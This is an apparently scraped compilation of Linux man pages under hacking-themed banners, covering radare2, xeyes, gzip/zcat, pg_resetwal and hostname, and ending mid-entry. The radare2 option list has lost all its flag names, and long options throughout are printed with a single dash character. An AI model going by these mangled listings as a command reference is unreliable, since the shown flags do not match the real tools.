The operation failed or the command syntax was not valid.

SEE ALSO

gnutls-cli-debug (1), gnutls-serv (1), srptool (1), certtool (1)

AUTHORS

COPYRIGHT

Copyright (C) 2020-2023 Free Software Foundation, and others all rights reserved. This program is released under the terms of the GNU General Public License, version 3 or later

BUGS

Please send bug reports to: [email protected]

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

470 - Linux cli command r2

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command r2 and provides detailed information about the command r2, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the r2.

radare2 is a command-line hexadecimal editor.

“r2” is the alias program name for radare2.

This manpage is not updated yet. Feel free to contribute.

The options are:

Open radare2 on an empty file

Equivalent of ‘r2 malloc://512’

Print � after initialization and after every command executed

Close stderr before starting RCore

force asm.arch (x86, ppc, arm, mips, bf, java, …)

run ‘aaa’ command before prompt or patch to analyze all referenced code. Use -AA to run aaaa

force asm.bits (16, 32, 64)

Specify the base address to be used when loading a new binary. See ’e?bin.baddr’

Execute the given command before giving prompt

Start in debugger mode

Enable debug mode. Set cfg.debug=true

Set configuration eval variable key=value. For example -e scr.color=false. When -e is passed after -j, it will set the script source to run instead of setting eval vars.

Blocksize = file size

Run QJS script if an argument is passed or enter the qjs shell if no file is specified. You can evaluate expressions when passing the -e flag after the -j.

Run script file. After the file is loaded

Run script file. Before the file is loaded

Select kernel (asm.os) for syscall resolution

Load given plugin file

List loaded IO plugins.

List loaded core plugins.

map file at given address

Disable demangling

Do not perform any analysis (r_bin). Just load the raw file

Only load the rbin structures (elf, mach0, …)

Do not load user settings/projects from ~/.radare2rc, ~/.config/radare2/radare2rc and the scripts inside …/radare2rc.d/ directory.

Same as -N but also disables the automatic loading of plugins on startup time

Quiet mode (no prompt) and quit after running the commands specified with -i or -c

Quit before showing the prompt. Right after all the -e -c and -i arguments are evaluated.

Same as q, but exiting without freeing RCore, this produces leaks at exit time, but saves some precious ms to run the testsuite in fast mode.

Set project file

Apply rapatch file and quit (see doc/rapatch.md for more details)

Specify dbg.profile rarun2 profile to use when spawning a program for debugging

Specify custom rarun2 directives without having to create a rarun2 profile

Start seeking at this address

Enable sandboxed mode (same as -e cfg.sandbox=true)

Get binary information and analyze binary in a background thread

Avoid computing the file hashes

Set bin.filter=false to load rbin info without filtering names

Show version information and exit (Use -qv to get just the version number)

Show radare2 library versions (prints JSON format if -j is used)

Open in write mode

Show help message

Show files and environment help

Open the file map without executable permissions

Same as -e bin.usextr=false, do not use extract plugins, useful for dyldcache

Type ‘?’ for help

To enter visual mode use the ‘V’ command. Then press ‘?’ for help

In r2 the debugger commands are implemented under the ’d’ command. Type ’d?’ for help

R2_ARGS run radare2 with defined arguments in environment and ignore cli ones R2_IGNVER load plugins ignoring the specified version. (be careful) R2_DEBUG if defined, show error messages and crash signal R2_DEBUG_ASSERT=1 set a breakpoint when hitting an assert R2_MAGICPATH /Users/pancake/.local/share/radare2/share/radare2/4.5.0-git/magic R2_NOPLUGINS do not load r2 shared plugins R2_RCFILE ~/.radare2rc (user preferences, batch script) R2_RDATAHOME /usr/local

path to the current working file.

pancake <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

471 - Linux cli command xeyes

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xeyes and provides detailed information about the command xeyes, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xeyes.

NAME 🖥️ xeyes 🖥️

a follow the mouse X demo

SYNOPSIS

xeyes [-option …]

DESCRIPTION

Xeyes watches what you do and reports to the Boss.

OPTIONS

-fg foreground color
choose a different color for the pupil of the eyes.

-bg background color
choose a different color for the background.

-outline outline color
choose a different color for the outline of the eyes.

-center center color
choose a different color for the center of the eyes.

-backing { WhenMapped Always NotUseful }
selects an appropriate level of backing store.

-geometry geometry
define the initial window geometry; see X(7).

-display display
specify the display to use; see X(7).

-bd border color
choose a different color for the window border.

-bw border width
choose a different width for the window border.

-shape
uses the SHAPE extension to shape the window. This is the default.

+shape
disables use of the SHAPE extension to shape the window.

-render
uses Xrender to draw anti-aliased eyes. This is the default if xeyes has been compiled with Xrender support.

+render
disables Xrender and draws traditional eyes.

-distance
uses an alternative mapping, as if the eyes were set back from the screen, thus following the mouse more precisely.

-biblicallyAccurate
renders the eyes as if they belonged to a biblically accurate angel.

-help
print a usage message and exit.

-version
print the version number and exit.

SEE ALSO

X(7), X Toolkit documentation

AUTHOR

Keith Packard, MIT X Consortium
Copied from the NeWS version written (apparently) by Jeremy Huxtable as seen at SIGGRAPH ‘88

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

472 - Linux cli command zcat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zcat and provides detailed information about the command zcat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zcat.

NAME 🖥️ zcat 🖥️

compress or expand files

SYNOPSIS

gzip [** -acdfhklLnNrtvV19 ] [-S suffix**] [ name … ]

gunzip [** -acfhklLnNrtvV ] [-S suffix**] [ name … ]
zcat [** -fhLV **] [ name … ]

DESCRIPTION

The gzip command reduces the size of the named files using Lempel-Ziv coding (LZ77). Whenever possible, each file is replaced by one with the extension .gz, while keeping the same ownership modes, access and modification times. (The default extension is z for MSDOS, OS/2 FAT, Windows NT FAT and Atari.) If no files are specified, or if a file name is “-”, the standard input is compressed to the standard output. The gzip command will only attempt to compress regular files. In particular, it will ignore symbolic links.

If the compressed file name is too long for its file system, gzip truncates it. The gzip command attempts to truncate only the parts of the file name longer than 3 characters. (A part is delimited by dots.) If the name consists of small parts only, the longest parts are truncated. For example, if file names are limited to 14 characters, gzip.msdos.exe is compressed to gzi.msd.exe.gz. Names are not truncated on systems which do not have a limit on file name length.

By default, gzip keeps the original file name and timestamp in the compressed file. These are used when decompressing the file with the -N option. This is useful when the compressed file name was truncated or when the timestamp was not preserved after a file transfer.

Compressed files can be restored to their original form using gzip -d or gunzip or zcat. If the original name saved in the compressed file is not suitable for its file system, a new name is constructed from the original one to make it legal.

gunzip takes a list of files on its command line and replaces each file whose name ends with .gz, -gz, .z, -z, or _z (ignoring case) and which begins with the correct magic number with an uncompressed file without the original extension. gunzip also recognizes the special extensions .tgz and .taz as shorthands for .tar.gz and .tar.Z respectively. When compressing, gzip uses the .tgz extension if necessary instead of truncating a file with a .tar extension.

gunzip can currently decompress files created by gzip, zip, compress, compress -H or pack. The detection of the input format is automatic. When using the first two formats, gunzip checks a 32 bit CRC. For pack and gunzip checks the uncompressed length. The standard compress format was not designed to allow consistency checks. However gunzip is sometimes able to detect a bad .Z file. If you get an error when uncompressing a .Z file, do not assume that the .Z file is correct simply because the standard uncompress does not complain. This generally means that the standard uncompress does not check its input, and happily generates garbage output. The SCO compress -H format (lzh compression method) does not include a CRC but also allows some consistency checks.

Files created by zip can be uncompressed by gzip only if they have a single member compressed with the ‘deflation’ method. This feature is only intended to help conversion of tar.zip files to the tar.gz format. To extract a zip file with a single member, use a command like ‘gunzip <foo.zip’ or ‘gunzip -S .zip foo.zip’. To extract zip files with several members, use unzip instead of gunzip.

The zcat command is identical to gunzip -c. (On some systems, zcat may be installed as gzcat to preserve the original link to compress.) zcat uncompresses either a list of files on the command line or its standard input and writes the uncompressed data on standard output. zcat will uncompress files that have the correct magic number whether they have a .gz suffix or not.

The gzip command uses the Lempel-Ziv algorithm used in zip and PKZIP. The amount of compression obtained depends on the size of the input and the distribution of common substrings. Typically, text such as source code or English is reduced by 60-70%. Compression is generally much better than that achieved by LZW (as used in compress), Huffman coding (as used in pack), or adaptive Huffman coding (compact).

Compression is always performed, even if the compressed file is slightly larger than the original. The worst case expansion is a few bytes for the gzip file header, plus 5 bytes per 32 KiB block, or an expansion ratio of 0.015% for large files. The actual number of used disk blocks almost never increases.

gzip normally preserves the mode and modification timestamp of a file when compressing or decompressing. If you have appropriate privileges, it also preserves the file’s owner and group.

OPTIONS

-a –ascii
Ascii text mode: convert end-of-lines using local conventions. This option is supported only on some non-Unix systems. For MSDOS, CR LF is converted to LF when compressing, and LF is converted to CR LF when decompressing.

-c –stdout –to-stdout
Write output on standard output; keep original files unchanged. If there are several input files, the output consists of a sequence of independently compressed members. To obtain better compression, concatenate all input files before compressing them.

-d –decompress –uncompress
Decompress.

-f –force
Force compression or decompression even if the file has multiple links or the corresponding file already exists, or if the compressed data is read from or written to a terminal. If the input data is not in a format recognized by gzip, and if the option –stdout is also given, copy the input data without change to the standard output: let zcat behave as cat. If -f is not given, and when not running in the background, gzip prompts to verify whether an existing file should be overwritten.

-h –help
Display a help screen and quit.

-k –keep
Keep (don’t delete) input files during compression or decompression.

-l –list
For each compressed file, list the following fields:

compressed size: size of the compressed file uncompressed size: size of the uncompressed file ratio: compression ratio (0.0% if unknown) uncompressed_name: name of the uncompressed file

The uncompressed size is given as -1 for files not in gzip format, such as compressed .Z files. To get the uncompressed size for such a file, you can use:

zcat file.Z | wc -c

In combination with the –verbose option, the following fields are also displayed:

method: compression method crc: the 32-bit CRC of the uncompressed data date & time: timestamp for the uncompressed file

The compression methods currently supported are deflate, compress, lzh (SCO compress -H) and pack. The crc is given as ffffffff for a file not in gzip format.

With –name, the uncompressed name, date and time are those stored within the compress file if present.

With –verbose, the size totals and compression ratio for all files is also displayed, unless some sizes are unknown. With –quiet, the title and totals lines are not displayed.

-L –license
Display the gzip license and quit.

-n –no-name
When compressing, do not save the original file name and timestamp by default. (The original name is always saved if the name had to be truncated.) When decompressing, do not restore the original file name if present (remove only the gzip suffix from the compressed file name) and do not restore the original timestamp if present (copy it from the compressed file). This option is the default when decompressing.

-N –name
When compressing, always save the original file name, and save the seconds part of the original modification timestamp if the original is a regular file and its timestamp is at least 1 (1970-01-01 00:00:01 UTC) and is less than 2**32 (2106-02-07 06:28:16 UTC, assuming leap seconds are not counted); this is the default. When decompressing, restore from the saved file name and timestamp if present. This option is useful on systems which have a limit on file name length or when the timestamp has been lost after a file transfer.

-q –quiet
Suppress all warnings.

-r –recursive
Travel the directory structure recursively. If any of the file names specified on the command line are directories, gzip will descend into the directory and compress all the files it finds there (or decompress them in the case of gunzip ).

-S .suf –suffix .suf
When compressing, use suffix .suf instead of .gz. Any non-empty suffix can be given, but suffixes other than .z and .gz should be avoided to avoid confusion when files are transferred to other systems.

When decompressing, add .suf to the beginning of the list of suffixes to try, when deriving an output file name from an input file name.

–synchronous
Use synchronous output. With this option, gzip is less likely to lose data during a system crash, but it can be considerably slower.

-t –test
Test. Check the compressed file integrity then quit.

-v –verbose
Verbose. Display the name and percentage reduction for each file compressed or decompressed.

-V –version
Version. Display the version number and compilation options then quit.

-# –fast –best
Regulate the speed of compression using the specified digit #, where -1 or –fast indicates the fastest compression method (less compression) and -9 or –best indicates the slowest compression method (best compression). The default compression level is -6 (that is, biased towards high compression at expense of speed).

–rsyncable
When you synchronize a compressed file between two computers, this option allows rsync to transfer only files that were changed in the archive instead of the entire archive. Normally, after a change is made to any file in the archive, the compression algorithm can generate a new version of the archive that does not match the previous version of the archive. In this case, rsync transfers the entire new version of the archive to the remote computer. With this option, rsync can transfer only the changed files as well as a small amount of metadata that is required to update the archive structure in the area that was changed.

ADVANCED USAGE

Multiple compressed files can be concatenated. In this case, gunzip will extract all members at once. For example:

gzip -c file1 > foo.gz gzip -c file2 >> foo.gz

Then

gunzip -c foo

is equivalent to

cat file1 file2

In case of damage to one member of a .gz file, other members can still be recovered (if the damaged member is removed). However, you can get better compression by compressing all members at once:

cat file1 file2 | gzip > foo.gz

compresses better than

gzip -c file1 file2 > foo.gz

If you want to recompress concatenated files to get better compression, do:

gzip -cd old.gz | gzip > new.gz

If a compressed file consists of several members, the uncompressed size and CRC reported by the –list option applies to the last member only. If you need the uncompressed size for all members, you can use:

gzip -cd file.gz | wc -c

If you wish to create a single archive file with multiple members so that members can later be extracted independently, use an archiver such as tar or zip. GNU tar supports the -z option to invoke gzip transparently. gzip is designed as a complement to tar, not as a replacement.

ENVIRONMENT

The obsolescent environment variable GZIP can hold a set of default options for gzip. These options are interpreted first and can be overwritten by explicit command line parameters. As this can cause problems when using scripts, this feature is supported only for options that are reasonably likely to not cause too much harm, and gzip warns if it is used. This feature will be removed in a future release of gzip.

You can use an alias or script instead. For example, if gzip is in the directory /usr/bin you can prepend $HOME/bin to your PATH and create an executable script $HOME/bin/gzip containing the following:

#! /bin/sh export PATH=/usr/bin exec gzip -9 “$@”

SEE ALSO

znew(1), zcmp(1), zmore(1), zforce(1), gzexe(1), zip(1), unzip(1), compress(1)

The gzip file format is specified in P. Deutsch, GZIP file format specification version 4.3, <https://www.ietf.org/rfc/rfc1952.txt>, Internet RFC 1952 (May 1996). The zip deflation format is specified in P. Deutsch, DEFLATE Compressed Data Format Specification version 1.3, <https://www.ietf.org/rfc/rfc1951.txt>, Internet RFC 1951 (May 1996).

DIAGNOSTICS

Exit status is normally 0; if an error occurs, exit status is 1. If a warning occurs, exit status is 2.

Usage: gzip [-cdfhklLnNrtvV19] [-S suffix] [file …]
Invalid options were specified on the command line.

file : not in gzip format
The file specified to gunzip has not been compressed.

file : Corrupt input. Use zcat to recover some data.
The compressed file has been damaged. The data up to the point of failure can be recovered using

zcat file > recover

file : compressed with xx bits, can only handle yy bits
File was compressed (using LZW) by a program that could deal with more bits than the decompress code on this machine. Recompress the file with gzip, which compresses better and uses less memory.

file : already has .gz suffix – unchanged
The file is assumed to be already compressed. Rename the file and try again.

file already exists; do you wish to overwrite (y or n)?
Respond “y” if you want the output file to be replaced; “n” if not.

gunzip: corrupt input
A SIGSEGV violation was detected which usually means that the input file has been corrupted.

xx.x% Percentage of the input saved by compression.
(Relevant only for -v and -l.)

– not a regular file or directory: ignored
When the input file is not a regular file or directory, (e.g. a symbolic link, socket, FIFO, device file), it is left unaltered.

– has xx other links: unchanged
The input file has links; it is left unchanged. See ln(1) for more information. Use the -f flag to force compression of multiply-linked files.

CAVEATS

When writing compressed data to a tape, it is generally necessary to pad the output with zeroes up to a block boundary. When the data is read and the whole block is passed to gunzip for decompression, gunzip detects that there is extra trailing garbage after the compressed data and emits a warning by default. You can use the –quiet option to suppress the warning.

BUGS

In some rare cases, the –best option gives worse compression than the default compression level (-6). On some highly redundant files, compress compresses better than gzip.

REPORTING BUGS

Report bugs to: [email protected]
GNU gzip home page: <https://www.gnu.org/software/gzip/>
General help using GNU software: <https://www.gnu.org/gethelp/>

COPYRIGHT NOTICE

Copyright © 1998-1999, 2001-2002, 2012, 2015-2022 Free Software Foundation, Inc.
Copyright © 1992, 1993 Jean-loup Gailly

Permission is granted to make and distribute verbatim copies of this manual provided the copyright notice and this permission notice are preserved on all copies.

Permission is granted to process this file through troff and print the results, provided the printed document carries copying permission notice identical to this one except for the removal of this paragraph (this paragraph not being relevant to the printed manual).

Permission is granted to copy and distribute modified versions of this manual under the conditions for verbatim copying, provided that the entire resulting derived work is distributed under the terms of a permission notice identical to this one.

Permission is granted to copy and distribute translations of this manual into another language, under the above conditions for modified versions, except that this permission notice may be stated in a translation approved by the Foundation.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

473 - Linux cli command pg_resetwal

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_resetwal and provides detailed information about the command pg_resetwal, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_resetwal.

NAME 🖥️ pg_resetwal 🖥️

reset the write-ahead log and other control information of a PostgreSQL database cluster

SYNOPSIS

pg_resetwal [-f | –force] [-n | –dry-run] [option…] [-D | –pgdata]datadir

DESCRIPTION

pg_resetwal clears the write-ahead log (WAL) and optionally resets some other control information stored in the pg_control file. This function is sometimes needed if these files have become corrupted. It should be used only as a last resort, when the server will not start due to such corruption.

After running this command, it should be possible to start the server, but bear in mind that the database might contain inconsistent data due to partially-committed transactions. You should immediately dump your data, run initdb, and restore. After restore, check for inconsistencies and repair as needed.

This utility can only be run by the user who installed the server, because it requires read/write access to the data directory. For safety reasons, you must specify the data directory on the command line. pg_resetwal does not use the environment variable PGDATA.

If pg_resetwal complains that it cannot determine valid data for pg_control, you can force it to proceed anyway by specifying the -f (force) option. In this case plausible values will be substituted for the missing data. Most of the fields can be expected to match, but manual assistance might be needed for the next OID, next transaction ID and epoch, next multitransaction ID and offset, and WAL starting location fields. These fields can be set using the options discussed below. If you are not able to determine correct values for all these fields, -f can still be used, but the recovered database must be treated with even more suspicion than usual: an immediate dump and restore is imperative. Do not execute any data-modifying operations in the database before you dump, as any such action is likely to make the corruption worse.

OPTIONS

-f
–force

Force pg_resetwal to proceed even if it cannot determine valid data for pg_control, as explained above.

-n
–dry-run

The -n/–dry-run option instructs pg_resetwal to print the values reconstructed from pg_control and values about to be changed, and then exit without modifying anything. This is mainly a debugging tool, but can be useful as a sanity check before allowing pg_resetwal to proceed for real.

-V
–version

Display version information, then exit.

-?
–help

Show help, then exit.

The following options are only needed when pg_resetwal is unable to determine appropriate values by reading pg_control. Safe values can be determined as described below. For values that take numeric arguments, hexadecimal values can be specified by using the prefix 0x.

-c xid**,**xid
**–commit-timestamp-ids=xid,**xid

Manually set the oldest and newest transaction IDs for which the commit time can be retrieved.

A safe value for the oldest transaction ID for which the commit time can be retrieved (first part) can be determined by looking for the numerically smallest file name in the directory pg_commit_ts under the data directory. Conversely, a safe value for the newest transaction ID for which the commit time can be retrieved (second part) can be determined by looking for the numerically greatest file name in the same directory. The file names are in hexadecimal.

-e xid_epoch
**–epoch=**xid_epoch

Manually set the next transaction IDs epoch.

The transaction ID epoch is not actually stored anywhere in the database except in the field that is set by pg_resetwal, so any value will work so far as the database itself is concerned. You might need to adjust this value to ensure that replication systems such as Slony-I and Skytools work correctly — if so, an appropriate value should be obtainable from the state of the downstream replicated database.

-l walfile
**–next-wal-file=**walfile

Manually set the WAL starting location by specifying the name of the next WAL segment file.

The name of next WAL segment file should be larger than any WAL segment file name currently existing in the directory pg_wal under the data directory. These names are also in hexadecimal and have three parts. The first part is the “timeline ID” and should usually be kept the same. For example, if 00000001000000320000004A is the largest entry in pg_wal, use -l 00000001000000320000004B or higher.

Note that when using nondefault WAL segment sizes, the numbers in the WAL file names are different from the LSNs that are reported by system functions and system views. This option takes a WAL file name, not an LSN.

Note

pg_resetwal itself looks at the files in pg_wal and chooses a default -l setting beyond the last existing file name. Therefore, manual adjustment of -l should only be needed if you are aware of WAL segment files that are not currently present in pg_wal, such as entries in an offline archive; or if the contents of pg_wal have been lost entirely.

-m mxid**,**mxid
**–multixact-ids=mxid,**mxid

Manually set the next and oldest multitransaction ID.

A safe value for the next multitransaction ID (first part) can be determined by looking for the numerically largest file name in the directory pg_multixact/offsets under the data directory, adding one, and then multiplying by 65536 (0x10000). Conversely, a safe value for the oldest multitransaction ID (second part of -m) can be determined by looking for the numerically smallest file name in the same directory and multiplying by 65536. The file names are in hexadecimal, so the easiest way to do this is to specify the option value in hexadecimal and append four zeroes.

-o oid
**–next-oid=**oid

Manually set the next OID.

There is no comparably easy way to determine a next OID thats beyond the largest one in the database, but fortunately it is not critical to get the next-OID setting right.

-O mxoff
**–multixact-offset=**mxoff

Manually set the next multitransaction offset.

A safe value can be determined by looking for the numerically largest file name in the directory pg_multixact/members under the data directory, adding one, and then multiplying by 52352 (0xCC80). The file names are in hexadecimal. There is no simple recipe such as the ones for other options of appending zeroes.

**–wal-segsize=**wal_segment_size

Set the new WAL segment size, in megabytes. The value must be set to a power of 2 between 1 and 1024 (megabytes). See the same option of initdb(1) for more information.

Note

While pg_resetwal will set the WAL starting address beyond the latest existing WAL segment file, some segment size changes can cause previous WAL file names to be reused. It is recommended to use -l together with this option to manually set the WAL starting address if WAL file name overlap will cause problems with your archiving strategy.

-u xid
**–oldest-transaction-id=**xid

Manually set the oldest unfrozen transaction ID.

A safe value can be determined by looking for the numerically smallest file name in the directory pg_xact under the data directory and then multiplying by 1048576 (0x100000). Note that the file names are in hexadecimal. It is usually easiest to specify the option value in hexadecimal too. For example, if 0007 is the smallest entry in pg_xact, -u 0x700000 will work (five trailing zeroes provide the proper multiplier).

-x xid
**–next-transaction-id=**xid

Manually set the next transaction ID.

A safe value can be determined by looking for the numerically largest file name in the directory pg_xact under the data directory, adding one, and then multiplying by 1048576 (0x100000). Note that the file names are in hexadecimal. It is usually easiest to specify the option value in hexadecimal too. For example, if 0011 is the largest entry in pg_xact, -x 0x1200000 will work (five trailing zeroes provide the proper multiplier).

ENVIRONMENT

PG_COLOR

Specifies whether to use color in diagnostic messages. Possible values are always, auto and never.

NOTES

This command must not be used when the server is running. pg_resetwal will refuse to start up if it finds a server lock file in the data directory. If the server crashed then a lock file might have been left behind; in that case you can remove the lock file to allow pg_resetwal to run. But before you do so, make doubly certain that there is no server process still alive.

pg_resetwal works only with servers of the same major version.

SEE ALSO

pg_controldata(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

474 - Linux cli command hostname

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hostname and provides detailed information about the command hostname, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hostname.

NAME 🖥️ hostname 🖥️

show or set the system’s host name
domainname - show or set the system’s NIS/YP domain name
ypdomainname - show or set the system’s NIS/YP domain name
nisdomainname - show or set the system’s NIS/YP domain name
dnsdomainname - show the system’s DNS domain name

SYNOPSIS

hostname [-a|–alias] [-d|–domain] [-f|–fqdn|–long] [-A|–all-fqdns] [-i|–ip-address] [-I|–all-ip-addresses] [-s|–short] [-y|–yp|–nis]
hostname [-b|–boot] [-F|–file filename] [hostname]
hostname [-h|–help] [-V|–version]

domainname [nisdomain] [-F file]
ypdomainname [nisdomain] [-F file]
nisdomainname [nisdomain] [-F file]

dnsdomainname

DESCRIPTION

Hostname is used to display the system’s DNS name, and to display or set its hostname or NIS domain name.

GET NAME

When called without any arguments, the program displays the current names:

hostname will print the name of the system as returned by the gethostname(2) function.

domainname will print the NIS domainname of the system. domainname uses the gethostname(2) function, while ypdomainname and nisdomainname use the getdomainname(2).

dnsdomainname will print the domain part of the FQDN (Fully Qualified Domain Name). The complete FQDN of the system is returned with hostname –fqdn (but see the warnings in section THE FQDN below).

SET NAME

When called with one argument or with the –file option, the commands set the host name or the NIS/YP domain name. hostname uses the sethostname(2) function, while all of the three domainname, ypdomainname and nisdomainname use setdomainname(2). Note, that this is effective only until the next reboot. Edit /etc/hostname for permanent change.

Note, that only the super-user can change the names.

It is not possible to set the FQDN or the DNS domain name with the dnsdomainname command (see THE FQDN below).

The host name is usually set once at system startup in /etc/init.d/hostname.sh (normally by reading the contents of a file which contains the host name, e.g. /etc/hostname).

THE FQDN

The FQDN (Fully Qualified Domain Name) of the system is the name that the resolver(3) returns for the host name, such as, ursula.example.com. It is usually the hostname followed by the DNS domain name (the part after the first dot). You can check the FQDN using hostname –fqdn or the domain name using dnsdomainname.

You cannot change the FQDN with hostname or dnsdomainname.

The recommended method of setting the FQDN is to make the hostname be an alias for the fully qualified name using /etc/hosts, DNS, or NIS. For example, if the hostname was “ursula”, one might have a line in /etc/hosts which reads

127.0.1.1 ursula.example.com ursula

Technically: The FQDN is the name getaddrinfo(3) returns for the host name returned by gethostname(2). The DNS domain name is the part after the first dot.

Therefore it depends on the configuration of the resolver (usually in /etc/host.conf) how you can change it. Usually the hosts file is parsed before DNS or NIS, so it is most common to change the FQDN in /etc/hosts.

If a machine has multiple network interfaces/addresses or is used in a mobile environment, then it may either have multiple FQDNs/domain names or none at all. Therefore avoid using hostname –fqdn, hostname –domain and dnsdomainname. hostname –ip-address is subject to the same limitations so it should be avoided as well.

OPTIONS

-a, –alias
Display the alias name of the host (if used). This option is deprecated and should not be used anymore.

-A, –all-fqdns
Displays all FQDNs of the machine. This option enumerates all configured network addresses on all configured network interfaces, and translates them to DNS domain names. Addresses that cannot be translated (i.e. because they do not have an appropriate reverse IP entry) are skipped. Note that different addresses may resolve to the same name, therefore the output may contain duplicate entries. Do not make any assumptions about the order of the output.

-b, –boot
Always set a hostname; this allows the file specified by -F to be non-existent or empty, in which case the default hostname localhost will be used if none is yet set.

-d, –domain
Display the name of the DNS domain. Don’t use the command domainname to get the DNS domain name because it will show the NIS domain name and not the DNS domain name. Use dnsdomainname instead. See the warnings in section THE FQDN above, and avoid using this option.

-f, –fqdn, –long
Display the FQDN (Fully Qualified Domain Name). A FQDN consists of a short host name and the DNS domain name. Unless you are using bind or NIS for host lookups you can change the FQDN and the DNS domain name (which is part of the FQDN) in the /etc/hosts file. See the warnings in section THE FQDN above und use hostname –all-fqdns instead wherever possible.

-F, –file filename
